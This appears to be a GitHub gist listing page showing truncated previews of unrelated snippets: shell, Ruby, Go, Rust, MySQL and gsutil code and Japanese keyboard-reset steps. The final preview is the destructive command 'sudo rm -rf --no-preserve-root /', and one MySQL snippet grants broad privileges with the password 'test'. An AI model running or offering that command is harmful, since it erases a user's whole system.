This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env zsh | |
tfj() { | |
local git_root=$(git rev-parse --show-toplevel 2>/dev/null) | |
if [[ -z "$git_root" ]]; then | |
echo "Error: Not in a git repository" >&2 | |
return 1 | |
fi | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'aws-sdk-iam' | |
iam = Aws::IAM::Client.new | |
all_policies = [] | |
iam.list_policies({scope: 'Local'}).each_page do |page| | |
all_policies += page.policies.map(&:arn) | |
end | |
puts all_policies.size |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"context" | |
"fmt" | |
) | |
type GitHub interface { | |
CreateRelease(ctx context.Context, opt *Option) (string, error) | |
GetRelease(ctx context.Context, tag string) (string, error) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Bluetoothをオフにする | |
2. HHKBの電源を切る | |
3. Bluetoothをオンにする | |
4. HHKBの電源を入れる | |
これで治らなければ以下でペアリングリセット | |
1. Fn + Q同時押し(ペアリングモード) | |
2. 青色点滅を確認 | |
3. Fn + Z + Delete を同時押し(リセット) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ mysql -uroot | |
root> GRANT CREATE, ALTER, DELETE, INSERT, UPDATE, SELECT ON *.* TO 'test'@'localhost' identified by 'test' | |
root> SET GLOBAL read_only = ON; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
my avator is from https://illustrain.com/?p=18923 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::io; | |
fn main() { | |
let mut input = String::new(); | |
io::stdin().read_line(&mut input).ok(); | |
let mut num: i128 = input.trim().parse().ok().unwrap(); | |
loop { | |
if num % 2 == 0 { | |
num = num / 2; | |
} else { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://qiita.com/kkeisuke/items/be3d9969fcfdca81753c | |
https://github.com/saibing/tools#install |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gsutil ls gs:// | gsutil -m cp -I -r gs::// |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo rm -rf --no-preserve-root / |
NewerOlder